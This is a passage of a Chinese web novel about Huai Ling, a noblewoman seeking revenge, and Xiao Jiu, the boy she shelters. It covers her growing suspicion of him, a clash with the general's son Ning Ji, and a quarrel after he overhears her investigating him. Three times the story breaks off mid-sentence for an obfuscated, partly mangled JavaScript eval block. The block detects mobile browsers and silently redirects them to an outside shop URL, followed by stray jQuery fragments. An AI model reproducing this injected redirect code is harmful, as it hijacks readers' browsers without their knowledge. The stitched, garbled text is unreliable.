小久曾经说过自己并不是生于E区,那么在那之前,他是哪个区域的人?——槐翎此时却突然想着这件事,当初她没花多少心思去调查小久的身世,但这件事不知怎么地让槐翎心里多了几分怀疑。 她为什么会给其他人打领带?现在的她到底在做什么? 在接小久回来的那一天,她就应该去做背景调查,而她完全没当一回事,如今还在这里其乐融融地和他一起生活了,这一切真的没有问题吗? 如果小久是皇帝派来的人……不,她不能放过任何可能性,她必须要小心谨慎,这几个月的相处过于放松,都让她失去警戒性了。 现在不是沉浸在这种无关的感情里的好时机,她还有很多事情去做,她的复仇还没有完全,一点小失误都能让她送命,而她却沉浸在过家家里面,全然忘记了自己的身份。 小久全然没有注意到槐翎温和的表情下隐藏着怎样的情绪,他能闻到槐翎洗发水的香气,若隐若现的,让他心里痒痒的,因为身高相当,当他偷看槐翎眼睛的时候,槐翎也能注意到他的试探。 “好了。”槐翎整理了下领子,她的表情没有任何破绽,眼神却是冰冷的。 宏叔笑眯眯地看着二人相处,他早早就来到公寓等候了,就为了送他们两个去学院。 槐翎看着小久和宏叔熟稔地寒暄,他轻易地获得了宏叔的信任,甚至宏叔也会帮他说话,难道宏叔也有出卖自己的可能性吗? 去了学院之后,他是不是更有可能和其他人接触了? 没关系,狩猎活动马上就要开始了。 对于槐翎来说,那也是一场狩猎,要铲除什么的话,就得趁这个机会了。 18. 第 18 章 对于小久的到来,学院的其他人并没有表达出任何的意见。 毕竟在他上学的第一天,就有闻名遐迩的“恶女”槐翎和他一起下车,亲昵又热情地为他介绍学院的设施,只要是个长了脑子的人都明白槐翎所释放的信号,要是在这个时候走上去自讨无趣那可是愚蠢至极了。 毕竟大多数人都在盼着槐翎快点毕业,别再搅浑水了,只要送走这尊大佛,全体师生都能开心些。 至于小久的出身,早就被有心人在学院论坛里散播完了——公式化的空白,除了姓名单字一个“久”和性别男就什么都看不到了。 槐翎为了保护他做到这个地步,用指甲垢想想都知道小久的身份有多特殊。 论坛里也没有人敢说点什么,毕竟槐翎是真的会顺着网线打人,亲自拿着刀上门的那种。 因为是插班生,小久有些前置课程要先上完,于是槐翎只能和他分开上课一段时间,好巧不巧的是,祝译也是插班生的其中一员,因此在看到小久那腼腆又拘谨的表情时,祝译主动地担当了他的“守护者”。 “你终于转进来了,说起来我们也有好几个月没见了吧?”祝译一点也不在意之前在公寓里的冲突,自然地坐在了小久的身边,还体贴地把自己的笔记递给小久。 小久可没有忘记槐翎是怎么和祝译吵起来的,心里一阵尴尬,不知道该如何面对祝译的善意,不过又想到槐翎说的话,现在她们两个已经没芥蒂了…吧? 祝译看出了小久的纠结与踌躇,并没感到不快,而是凑到小久的耳边和他说起了悄悄话。 “不用担心,我不是什么坏人。”她狡黠地露出洁白的牙齿。 “倒也不会有坏人会说自己是坏人啦……”小久挠挠头,不过祝译和其他学生不一样,看上去确实和善了不少,她好像有种魔力,让人不由自主地想要信任她。 他们两个坐在前排,老师已经频繁看向小久那边,不好再咬耳朵了。 * “今年的狩猎将会以三天两夜的形式展开,活动地点定于B区的自然保护区,请看野生动物的数量报告,由于气候变化,蹄类动物的数量增多。至于日期的话经过商议已定在下个月的第一个周末,除去身体原因和政务请假的三十六人,其余四个年级的学生都能参加。猎枪的采购也完成了,清点后型号与库存无误,子弹的配给为每人五十颗。” 委员会的会议尚未结束,槐翎坐在旁边,面无表情地转着手中的笔。 黑色的笔在她的手中旋转,速度越来越快,像是在她的手中舞动,快要让人看不清。 “……组队系统也测试通过了,医疗小队也就绪了,届时会有直升机就位,这个周末将会对周边进行彻底地清场,安保小队也增加至三百人。” 槐翎原本转动的笔兀地停了下来。 三百人好像有些太多了吧?都快赶上学生的数量了。 不过最近好像听到些边缘地区不安分的新闻,估计也是因为这一点才增加的安保人员。 漫长的会议结束后,也到了放学的时候了。 “阿翎,等下要不要出去玩?我都好久没和你说说话了。”槐雾单独地把槐翎留了下来,槐翎有的时候觉得自己这个堂哥也不是完全的蠢货,毕竟他还知道要试探些什么。 作为学生会长的他,不可能不知道小久的存在,想来是要好好聊聊了。 “可以啊。”槐翎故作轻松地点头,她主动站在槐雾的身旁,这一小小的举动让槐雾很是高兴。 “太好了,我还以为你都要和我生分了……”槐雾后面讲了些什么,槐翎没有认真去听,那些话和沙子一样消失在风中,没留下一点痕迹。 槐翎顺手发了个消息让小久先回去,看着地图里的红色点在消息已读后缓慢地移动,槐翎的眼神逐渐冷了下去。 几秒后,小久回复了个笑脸。 “阿翎快来,有些新朋友要介绍给你认识!”槐雾招手让槐翎上车,槐翎忍着不适坐在角落里,如果不是还在车里,她已经想点根烟了。 车子停在了熟悉的酒吧前,还是一样的包厢,一样的臭味。 槐雾提到的新朋友也坐在里面,的确是非常新的朋友,槐翎还是第一次看到这个人。 他的体重约莫接近两百斤,校服是特别定制的,因此身前的纽扣没有蹦出来,因为太胖,他的脸上满是汗水,混杂着怪异的酸臭味。 在看到槐翎的时候,他那被肥肉挤压的眼睛努力眨了几下,而后黏糊糊的眼神在槐翎身上不断来回,槐翎没少被这种眼神打量过,但这么直白且恶心还是第一次。 “这位是宁吉,他的父亲近期才调回来,父亲很满意他们在镇压反抗军上的行动,特地准许他们从B区搬进来。”槐雾很是上道地说。 “宁吉,这是我的堂妹槐翎,她的父母目前在避世休养,现在她和我一样在学生会。” “幸会。”宁吉舔了舔舌头,朝槐翎伸出手。 槐翎只点了点头,并未理会宁吉的举动。 她实在不想和这个肥猪有任何交流,见槐翎不领情,宁吉只哼哼了一下,并未恼怒。 “阿翎,你这是不知道宁吉他父亲刚刚才升为少将,是父亲跟前的大红人喔。”槐雾笑嘻嘻地提醒道。 “我们都是住在A区的人,还分这些就没什么意思了吧。”槐翎漫不经心地把玩手里的打火机,要论身份尊贵,槐翎可只比眼前的槐雾低,其他人不都是臣子罢了。 而且,当时差点坐上那个位置的可是槐翎的父亲。 “呵呵,阿翎说的是。”槐雾连忙打圆场,“来人上点酒,今天我们可要尽兴啊。” 槐翎给宁吉留了个白眼,起身坐到角落里去。 又是没有尽头的酒局,包厢里再次变得闹哄哄的,渐渐的就没人在意槐翎的存在了。 见时间也混得差不多了,槐翎发消息让小久过来接自己,从公寓过来也就二十分钟,槐翎心想再等二十分钟就解脱了。 不过不知道怎么的,话题再次绕到槐翎身上去。 “去年阿翎的表现确实很好,一个人就拉高了整个小组的积分,虽然可以拿第一很开心啦,不过我都没那么发挥呢!”听槐雾说的这些话,看样子是在聊狩猎。 “今年不管怎么说我都不想和阿翎一个小组了……” 旁边的人都适时地笑了起来,一派和谐的气氛。 “像槐翎这样的女性,应该不缺少追求者吧。”突兀的声音驱散了双声笑语,说话的还是那个宁吉,他的语气里满是恶意,一双狭长的眼睛死死盯着槐翎。 像宁吉这种没有缘故就冲着槐翎撒泼的人,槐翎见的多了。 有些人的自尊心就跟玻璃一样易碎,碎完之后就能看见藏在底下的自卑,可怜又丑陋。 槐翎自然是不缺少追求者的,只不过都被挡了下来了。 甚至都不用槐翎做点什么,那些人就会自己退出。 一想到那个人的脸和声音,槐翎不由自主地一阵作呕。 那些事做的隐秘又安静,就连槐雾都不知道。 既然这个宁吉非要点这个话题,槐翎也没有半分避讳。 “自然是不缺的。”槐翎微笑,她手里拿着酒杯,神色自若。 “既然如此,那不如我们好好互相了解一下?”宁吉站了起来,他长得高大,配合这个体重,看上去和山一样。 “你想怎么了解?”槐翎捏着杯子。 “哎呀,你们是一见面就看对眼了?”槐雾那愚蠢的声音像把刀似的,把宁吉和槐翎之间剑拔弩张的气氛全都弄碎了。 在说这话时,槐雾还趁机打量了一下宁吉,眉头紧锁。 以他对自己堂妹的了解,这个宁吉怎么看都不是槐翎的理想型。 没等槐翎说话,槐雾就给她猛打眼色,槐翎愣了一下,好像从他那里读出了几分“交给我”的意思。 就在这时,槐翎的手机震动了下,看来小久已经到了。 槐雾见她表情略有变化,脑子里一阵头脑风暴,下意识就拉着槐翎要往外面走。 宁吉咬着牙,并未说话。 槐雾是皇帝的亲儿子,虽然这样的亲儿子有很多个,但只要和皇帝沾亲带故的,作为臣子都知道要有几分敬意。 不过,槐雾帮得了这次,下次还能这么凑巧吗? 宁吉朝槐翎伸出手去,他的动作出乎意料地敏捷,在槐翎被槐雾带出去的那一刻,宁吉就触碰到了槐翎的长发,头发缠绕在他的指尖,他把那束发尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161053|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置于唇上,旁若无人地吸吮着上面的香气。 他露出贪婪又冷漠的眼神,嘴角上扬。 这次是头发,下次—— 槐翎不是死人,她自然是感觉到宁吉做了什么,于是在此时,她萌生了比什么都要更为强烈的杀意。 她必须要亲手杀了宁吉。 如果可以的话,现在她就想动手。 可惜不行,槐雾还在这里。 她眼里的狠戾完全没有加以掩饰,这是她给予的警告,旁边的槐雾是一点都没注意到,只推着槐翎离开包厢。 离开了包厢里那黏腻的味道后,二人又快速走到了正门,槐翎感觉到了清爽的风灌了进来,抬眼就能看到小久站在车辆的旁边,他不安又局促地四处张望,等到看到槐翎时,他所有的不安都消失了,取而代之的是眼里的喜悦。 槐翎是一句话都不想和槐雾说,她大步流星地朝小久走去,然而在槐雾看到什么人在等着槐翎的时候,他却变了脸色。 他拽着槐翎的胳膊,满脸都是不解。 “那些传闻都是真的?” “什么传闻?”槐翎回过头去,想听听从堂哥嘴里能说出些什么话来。 “这样来历不明的人你不能放在身边,太危险了。”槐雾自顾自地说道。 槐翎心想你亲爹可没少把人安插在自己身边,难道这样就安全了? “我有能力自保。”槐翎叹了口气,“而且,他不是什么来历不明的人。” “你要是想包-养点什么人,好歹也选A区的人,起码我还能帮你看看。你怎么能这么信任他呢,要是他对你不利那可麻烦了!”槐雾这话说的又急又粗糙,刺耳得让在场的人都侧过头去看发生了什么。 走到半路的小久在听到这些话后也停下了脚步,他的笑容僵在脸上,显得极为可笑。 说来也是,年轻的男女,不平等的关系,又是住一起,只会有这么一种关系了。 也不怪别人会这么想。 小久的脸变得毫无血色,他张了张嘴,最终是什么话都没能说出来。 否认? 那现在他们是什么关系? 总不能是谈恋爱吧。 槐翎心里一直憋着口气,什么人都想管自己的事,什么人都能伸手进她的口袋里,好像她是什么任人揉搓的软柿子似的! 先有宁吉恶心自己,后有槐雾说教自己,再看看后面的小久,回去又得一顿哄,怎么没有人哄哄自己呢?! 槐翎只觉得心里那根代表理性的弦几近断裂,但什么话该说,什么话不该说还是清楚的,她这十年的忍辱负重,绝对不允许自己在此时有什么错误。 她迅速地调整了情绪,脸上挂着疏离的淡笑。 “堂哥,你知道的,我一直一个人生活,总会需要点温暖……”她没继续说下去。 槐雾想起来槐翎父母的事,也后知后觉自己说错了话,这表情变换得可谓一个迅速,他连忙松开手,向自己这位可怜的堂妹道歉。 “是我考虑不周,这件事你就自己看着来吧,哎,你要是还有需要,我可以介绍些给你。他太瘦了,看上去不大中用。” 槐翎的表情一僵,她说的温暖倒也不是这个意思。 不过既然槐雾这么好糊弄,他误会了就误会吧。 “还有安全措施什么的,我之前采购的还没用完,回头让人送过去些……”槐雾没注意到槐翎的表情,继续说了下去。 这下小久和槐翎的表情都有些精彩。 “好了,我知道了。”槐翎轻咳一声,“没什么我先回去了。” “阿翎。”槐雾双目通红,死死盯着槐翎,这幅模样着实有些诡异。 “我会好好照顾你的,你父母虽然身体不好,但父亲都有让人好好照顾他们,你不要太担心。” 槐翎在心里一阵冷笑。 “有什么事情你先跟我商量,好吗?还有那个宁吉,我会好好跟他说的。” “知道了,谢谢堂哥。” 话也说到这了,槐翎松了口气,连忙转身把僵在后面的小久拖回车上,她压着声线,从牙缝里挤出个“回去再跟你说”来。 小久惊魂未定,手里还拿着保温杯,里面装着他熬的老火鸡汤。 19. 第 19 章 回去的路上二人都异常地沉默。 开车的是小久,他动作很熟练,车子也开得稳妥又舒适。 这下轮到槐翎有些尴尬了,她揉了揉太阳穴,最后决定先说重点。 “那个人是我堂哥。” 说完之后,小久也没什么反应,他不是蠢货,早就能在二人的对话里提取出来这个信息,见小久没接这个话题,槐翎感觉如芒在背,又只好找了点别的话来说。 “你别误会,我救你不是为了那些事。” 不知怎的,这句话出来后,车内的气氛更尴尬了些。 安静得只能听见车辆运作的声响。 “我知道的。”小久轻声说,“我的外貌确实配不上你。” 槐翎正在按太阳穴的手顿时停了下来,这个人是把槐雾的话放心上了,她感觉自己的头变得更痛了。 “你听他说的话做什么?” “我要真包了你,你收到一分钱了吗?” 槐翎说完就后悔了。 小久摸着方向盘的手轻轻颤抖着,他原本绷着的脸也快要绷不住了。 用完不给钱的话,那就不算用了——槐翎想起这句玩笑话。 这下好了,她倒成了不给钱的剥削者。 车子稳稳当当地停在停车场,槐翎不由地感叹这时机真是刚刚好,她连忙推开门想要逃离这令人窒息的环境。 “那我们这关系算什么?”小久的声音在她身后传来,这句话说得勉强,还能听出些压抑着的颤抖。 槐翎的手紧紧抓着车门,她不是没有考虑过这个问题,相反,她自己也没有定论。 一开始是她一意孤行把人带回来的,说的是照顾,但小久身体养好了之后也算照顾完了,结果他也是不清不白地留下来,主动包揽了所有家务活,变着花样给槐翎做饭,而槐翎也没白吃人家的饭,物质上从未亏待小久,不久前才买了一堆衣物,如今他们还一起上学,基本上可以说是形影不离。 要说佣人与雇主的关系并不恰当,正如槐翎说的那样,她从未支付过工钱。 同学,室友这些词语也不够囊括他们相处的日子。 更别说,槐翎对小久的身份与过去还抱有怀疑,还在等待试探他身份的机会。 槐雾说的那些话提醒了槐翎,他身份不明朗,的确有是间谍或者被收买的风险。 至于包养,那纯纯无稽之谈。 她从未对小久产生过半分兴趣。 槐翎的沉默持续得有些太久了,小久心里已有了定论。 不是确定不了,而是不知道怎么开口。 一个来自A区的完美得找不出任何错处的天之骄子,和一个来自E区,没能力没见识也没背景的野狗,到底要怎么样才会把二人放在一起? 槐翎对自己的好,就跟对待一条流浪狗没什么不同,随手施舍点小恩小惠罢了,毕竟对她来说,从指头漏下来的恩惠就像是蜜糖般的甘露,让人沉浸其中无法自拔。 小久自己也是知道的,他清楚的,只是他不愿去思考,也不愿意去面对,在这件事上,他们两个有着诡异的默契。 “抱歉,是我逾矩了。”最终还是小久先败下阵来。 他扯出一个勉强至极的笑容,简直比哭还难看。 “我给你煲了汤,你快些趁热喝吧。” 这话说得有够凄凉,槐翎只觉得一团棉花堵在胸口,但又暗自庆幸小久给了台阶,她没敢看他,只低头快步走了。 * 那一夜过后,他们都默契地没有再提起这件事。 小久和祝译成为了上课的伙伴,这两个人倒有种在默默较劲的感觉,包了班级里的第一第二名次,没有给其他人任何机会。 槐翎则是第二天旷课去把头发剪了,她剪了发尾,头发没有以前那么长,但没有对她的外貌有任何影响。 一周后开会的时候槐雾注意到了这一点,他只是多问两句,并没有放在心上。 下课后,为了安抚小久,槐翎主动提出去和他一起购置点生活用品。 其实用品这种东西都是宏叔采购好让人送上来的,小久再花点时间整理就行,不过小久之前有提过自己去采购,槐翎觉得陪他去一次也没啥关系。 小久有些受宠若惊,不过还是接了槐翎的台阶,两个人就开着车往A区唯一的商场去。 下午的商场没什么人,槐翎推着车跟在小久旁边,对于要买些什么,槐翎并不在意,她只要负责付钱和等着吃就行,倒是小久在过去的路上就整理好了购物清单,通通记在了脑子里,买起东西来行云流水的,一点也不带含糊。 有时候他还要拿起几款商品仔细比对上面的成分,槐翎只耐心地等着,时不时给上自己的意见。 从食材的采购来看,槐翎也猜到了他接下来要做什么菜,想到都是自己喜欢吃的,她就更有耐心了。 选好食材,小久又转去看清洁用品,又纠结起来该买什么品牌的卫生纸,槐翎懒得跟他计较,直接每个都拿了三份,同样的还有各种洗衣液柔顺剂香薰…槐翎才没心思去闻都是什么味道。 一个小时下来就买了两大车,小久也终于是心满意足了,他二人推着车就往停车场走去。 而宁吉不知道从哪里得到了他们在外面的消息,竟然就这么站在大门看着二人出来。 小久曾经在班级里见过宁吉,不过他很少来上课,每次出现都是一副谁都瞧不起的模样,祝译对他的评价并不好。 听祝译说,他似乎对槐翎特别有兴趣,如果可以的话他想和槐翎结婚来巩固家族地位,进一步获得更大的权力,宁吉本人则是把这件事当成了谈资,和其他人炫耀了起来——好像槐翎真的答应结婚一样。而宁少将对此事竟然是同意的。 他颇为担心地看向槐翎,手里紧紧抓着车钥匙。 槐翎看了一眼小久让他不必紧张,宁吉自然是看到二人之间的眼神交流,用庞大的身躯压向小久,企图向他施加压力。 “有什么冲着我来就得了。”槐翎皱了眉头,殊不知这话极大地惹怒了宁吉。 “哼,一个不知天高地厚的臭婊子,和一个懦弱的小鸡崽,在这里倒是有几分滑稽。” 槐翎并未把这些话放在心上,她抱着手臂,脸上还是不变的冷漠。 “说完了?” “能不能让开,你真的很臭。” “你!”宁吉伸手就要扯槐翎的衣领,而槐翎则是从口袋里掏出一把折叠刀,她的动作很迅速,肉眼只能捕捉到瞬间的银光,那刀尖抵在宁吉的腰间,轻易地划开了他的校服,只要再稍稍用力就能划开皮肤。 宁吉自然是感觉到了肚子上的冰冷,他是没想到槐翎会在大庭广众下携带武器,顿时惊得闭上了嘴巴。 “阿翎…”小久连忙伸手扯了下槐翎的衣角,现在已经引来不少人围观了,如果再招来点人,他们几个估计得接受好一阵的调查。 “再碰我一次,我会把你手指都切下来。”槐翎把刀收了回去,她表情冰冷,有几分难以言说的压迫感。 宁吉流下两滴冷汗,迫于恐惧还是让开了。 “走。”槐翎带着小久离开现场,她顺带恐吓了一下附近围观的人,谁也不想惹事于是也乖乖低头离开了。 上了车后,小久仔细地观察起槐翎的表情,见她毫无波澜才放下心来。 “他是不是…” “不用管,蟑螂罢了。”槐翎见小久还一脸担忧,下意识地伸出手来摸了一把小久的头,他的头发很柔软,这让槐翎想起来那天摸过的狗头。 这个举动过于突兀,小久吓了一跳,没敢乱动,而槐翎也在几秒后意识到不对劲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175560|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她尴尬地把手收回去,在调整好情绪后,她也想好了新话题。 “还有三周就是狩猎了,在那之前就是中期测试,你准备好了?” “嗯,祝译她有把笔记分享给我。” 在听到祝译这个名字时,槐翎感觉自己的太阳穴狠狠地跳了一下。 “对你这个转校生不太公平,你尽力就行了。” “没关系的。” 槐翎现在还没取消家庭教师,那老头子教得还算不错,如果小久这次中期测试成绩还可以的话,就能考虑下让他退休了。 “你要是有什么想要的话可以跟我提。” “已经足够了。”小久想也没想就回绝了。 他看似在全神贯注开车,思绪又像是飘到不知道哪里去。 见小久这样,槐翎心里却有了别样的想法,为什么宁吉会准确无误知道他们在哪里,A区那么大,要精准蹲到一个人并不容易。 那么想来只有一个可能性了——有什么人出卖了自己,而且这个人知道自己的行踪,知道她最近在做什么。 * 吃饭的时候,电视里正在播报新闻。 A区没有自己的电视台,因此收的信号都是B区那边的。 又因为信息管制,很多重要的事项不会在B区以外的地区播报,A区的消息自然是最灵通的,不过最近皇帝好像在隐瞒什么,消息封锁得很彻底,就连槐雾也不知道。 播放了好一阵子娱乐新闻后,终于轮到政治新闻。 话说回来最近好像有个男明星特别受欢迎,几乎每次打开电视都有他的新闻,红得就连在街边路过都能发一条头条。 槐翎没能记住他的名字,就知道他眼角长了颗痣,妖孽得很。 “近日,邻国不断侵犯我国边境……” 几秒后一个健壮的中年男性出现在新闻里,他的脸和宁吉有几分相似,很明显就是宁吉的父亲了。 在旁边削苹果的小久也瞬间明白了怎么回事。 “宁少将正式搬迁进入A区,获准觐见了皇帝,皇帝对他的出色表现给予了高度评价……” 他的表情很是骄傲,宁吉那张脸和气质倒是像自己父亲,不过能教出这样的儿子,想必这个父亲不会优秀到哪里去。 槐翎此时想的是,如果把宁吉杀了的话,这位少将还能不能保持在电视上的风度呢? 不过在那之前,皇帝一定会很生气。 一想到他会生气,槐翎就觉得心里畅快了不少。 “把镇压反抗军的行为涂抹改成邻国敌人,是这里的媒体管用的手法。”槐翎嚼着苹果说道,“这个国家不允许有反抗自己的人存在。” 小久若有所思地点头,“那那些反抗军都来自哪里?” “恐怕只有皇帝和反抗军知道了。”槐翎尝试过去调查,但通通都被挡下,槐翎直觉这件事并不简单,以皇帝的性格,他根本不用掩饰点什么。 她趁机观察了一下小久的表情,小久只是有些沉默,并无太大的反应。 这件事能够很简单看出一个人对皇帝的忠诚度,如果是皇帝的人,应该会有不一样的反应才对。不过,皇帝培养的人定不会是什么草包,这么轻易就暴露自身。 槐翎对反抗军没什么敌意,无论什么人坐到那个位置都会被至高无上的权力所腐蚀,最终都会变成名为“皇帝”的怪物。 想到这里,她放松了不少,吃了几块苹果后槐翎回书房处理事务去了。 政治新闻播报完了之后,就是天气预报了。 轻松愉快的音乐把之前的阴霾一扫而空,女主播正充满活力地讲解每个区域的天气情况,什么区都有,就是没有E区。 小久看了好一会,然后把电视关闭,大厅恢复了安静,只有他的脚步声在公寓里回荡。 20. 第 20 章 槐翎不过是提了一嘴中期测试,小久却上了心。 一连几日都复习到深夜,本来他的进度就是落后其他人一截的,想必成绩也不会好到哪里去,偏偏槐翎又说到这件事,小久不想让她失望。 祝译也看出来最近小久的状态没那么好,细细聊了一下才知道是小久的死脑筋毛病犯了。 见他这么拼命,祝译决定好人做到底,于是二人合计在放学后也进行补习,反正槐翎放学后还得去狩猎委员会那边报告,能多补一个小时也是赚了。 这段时间的相处里小久也充分了解了祝译是个怎样的人,她完全没有其他学生的那种疏离感,也没有加入任何小团体,然而这样的祝译却跟谁的关系都很好,走在路上都有不少人对她投来善意的目光,就连小久也有些惊讶,毕竟自己和她相处也没有多久,却有种二人感情十分深厚的感觉。 “这道题用这个思路会更清晰些。”祝译把自己的解题方法展示给小久看,小久琢磨了一会,祝译所说的确实是正确无误的。 在讨论完毕后,二人自觉地沉默着刷起了题目。 “所以,现在你是在槐翎家里照顾她的起居?”在收拾东西时,祝译随口挑了个话题聊了起来。 “不能说是照顾,只是我单方面的…做那些事情罢了。”小久仔细斟酌着用词,他时刻谨记不能给槐翎添麻烦。 “这样也挺好的。”祝译轻描淡写地说道。 小久还是第一次从其他人口中听到全新的评论:“挺好的”? 她难道就不觉得奇怪吗? “之前是我误会她了,还以为她在对你做些…我们这个年龄不该做的事情。”祝译有些尴尬。 “现在想想她救了你一命,你做些力所能及的事情去报答救命恩人,而她也从各方面提供帮助,还让你上学,给予你庇护,这有什么不好的?”祝译反问道。 小久想了一会,确实没找到有什么不好的。 这样倒是显得之前质问槐翎的小久有些不知好歹了。 “她性格是奇怪了些,但也没伤害过你,外面怎么说她也和你没啥关系不是,人啊总是会想太多,不如先关注自己的一亩三分地可好。” “难道你真想卖-身?你想卖,她还不一定买,你看她像是会在意这些的人吗?” 小久低头看了看自己的小身板,确实没什么说服力,他一阵脸红,觉得祝译说得也太直白了些。 “都玩笑话,你自己能想明白就好了。不过,你倒不如把槐翎当成自己的家人,毕竟家人之间的付出是无价的,她年龄比你大吗?” 小久思考了一会,他曾经看过槐翎的证件:“我们是同岁。” “那就当成堂兄弟姐妹什么的就好了,如果你是真对她有好感,倒不如先好好提升自己,比如说把这份试题拿回去刷完。”祝译把厚厚的试题拍了拍,她分析得有理有据,小久听得一愣一愣的。 “哦哦。”小久连忙收下试题,他也不知道自己是怎么想的,反正现在凡事也只能以槐翎为先。 如果能把分数提上去,槐翎应该会夸自己的,小久的逻辑很简单。 “祝译你懂的真多。” 祝译听完翻了个白眼,“你呀,光会死脑筋读书,倒不如多学点人情世故。” 祝译其实还挺想问小久以后有什么打算的,但眼下他的状态还是微妙的,想到这里祝译还是闭嘴了。 和往常一样小久和祝译在校门口分开,小久站在树荫下等槐翎出来。 几分钟后在夕阳的照耀下,槐翎拿着手提包从大楼里走出,她面无表情,总是一副拒人千里之外的模样,秋风吹起她的发梢,她迎着风快步走向大门,步伐有力且稳健,好像这世上没什么可以阻挡她前进。 这样的画面小久看了好多次,而每一次他都止不住地心跳加速。 他自然地伸出手,接过槐翎手里沉甸甸的手提包,槐翎侧过头看了他一眼,发现他嘴角满是笑意。 “今天是发生什么开心的事了?” “没有没有,和往常一样。”小久避开她的目光,有些心虚地发动了汽车。 * 中期考试虽说是检测学生的对课程的掌握情况,但能进入学院学习的都是天之骄子,每个人都明白自己肩上背负着家族的使命,因此没有人会把学习当成玩乐,临近考试的那会,图书馆里都是爆满的。 小久也自己给自己添加了不少压力,终于熬到考试周,他顶着硕大的黑眼圈坐在车里,哈欠连连。 槐翎瞪了他一眼,而后开启了自动驾驶。 “你是通宵复习了?”槐翎想起来自己半夜去喝水的时候,小久的房间还亮着灯,从门缝透了出来。 “嗯…没有通宵。”小久确实没有通宵,只是一晚上才睡了两个小时而已。 “睡眠比你临时抱佛脚重要多了,今晚你要再这样你就别参加考试了。” 槐翎属实不太明白小久这么做的意义,她叹了口气,希望考试周结束后小久能尽快恢复正常。 小久默然地点头,自己也觉得有些受不住了。 五天的考试周很快就过去了,因为大部分题目都由机器评分,所以基本一个周末过去后就能看到成绩。 小久趁着周末好好补充了睡眠,而槐翎则有要事两天都没有回来。 小久虽然不知道她还在忙什么,但以槐翎的性格来说,那定是非常重要的事,所以他也没有多问,只是在槐翎的午饭里多放了些肉和蔬菜。 槐翎是单独直接去学校的,小久赶在午休前提着午饭去找槐翎,在那之前他也来过好几次,记得了大概的路线。 不过这次小久没在课室里看到槐翎,她的东西好像也没在桌面上放着,其他还在课室的学生和槐翎关系不好,因此也把小久看作了空气。 有些看不过去的就在小久背后窃窃私语指指点点,但声音压得很低,小久懒得去跟他们计较,现在最重要的事是要找到槐翎。 他尝试发去消息,槐翎也没有回应。 小久提着午饭跟无头苍蝇一样在大楼里转了一圈,心里愈发焦急起来,步伐也匆忙起来,正巧在转弯的时候撞上了槐雾。 槐雾身边总是跟着一群人,排场很大,所以小久很简单就记住了槐雾的脸。 他还记得槐雾和槐翎说话时熟稔的语气,如果是槐雾的话说不定会知道槐翎在哪。 “你好,请问…”没等小久说完,槐雾身边的人就一把推开了小久,他本来就瘦弱,这么一推直接坐在了地上,幸好他下意识地保护了手里的午饭,不然早就洒一地了。 “你没有资格和殿下对话,区区贱民。”那人狠狠地啐了一口,小久这才看到槐雾那冰冷的眼神,他双手插在口袋里,居高临下地看向小久,和那日见到的槐雾完全不一样。 明明,他在和槐翎说话时是那么的温和,甚至带了几分讨好的意味。 这样的反差让小久心里一惊,他连忙低头道歉,生怕惹事。 “……”槐雾什么话都没说就走了,小久明显能感觉到——槐雾似乎没把自己当作一回事。 槐雾旁边的女学生主动挽着槐雾的手臂,她扭过头来,眼里是复杂的心绪,甜美的声音却清晰地落在小久的耳中。 “哎呀,真可怜。” 简单的几个字却像刺一样扎在心里,刺得他呼吸困难,而他只是调整了一下表情,努力让自己的心绪尽快平静下来。 等彻底看不到那些人的身影后,小久才安静地站起来,他拍了拍身上的灰,幸好午饭没有受影响,想到这里,小久心里没有那么难受了。 也就在走廊的尽头,小久看到了正在讲电话的槐翎,她脚边都是烟头,整个人也笼罩在烟雾里,她一根接着一根抽了起来,没有停歇的意思。 也难怪她没有看到消息,小久没有走上去打招呼,毕竟槐翎最近很忙,于是他在另一边等槐翎讲完电话。 她的声音压得很低,但小久还是听到了些片段。 “是吗…C区?他父亲是那件事的检察官…能活下来真是幸运。”槐翎漫不经心地说道,“他和皇帝有没有联系…调任书还保存着吗…所有物证都要进行查验…他身上当然有定位器…知道了。” “关于我的行踪泄露那件事……这都是为了我的安全,放心,如果有什么…我会亲自动手。” 槐翎把最后一个烟头扔到脚边,她揉了揉眉心,抬头就看见小久脸色苍白地看着自己,他一脸不可置信,手里还拿着个保温盒。 “你听到了?”“你在调查我?”他们同时开口。 槐翎的语气里再也没有半分温柔,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186975|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次厉声反问:“你都听到了,是吗?” “你在怀疑我是间谍,对吗?”小久同样反问了回去。 他的声音在颤抖,眼眶瞬间变得通红,刚刚被槐雾训斥都没有让他感到不快,但槐翎这一通电话却能轻而易举地击溃他所有的防线。 “我相信你不是。”槐翎感觉自己的头越发痛了,她皱着眉头,如果可以的话,她一点都不想在这里和小久起争执,都怪宏叔非要在这个时候打过来。 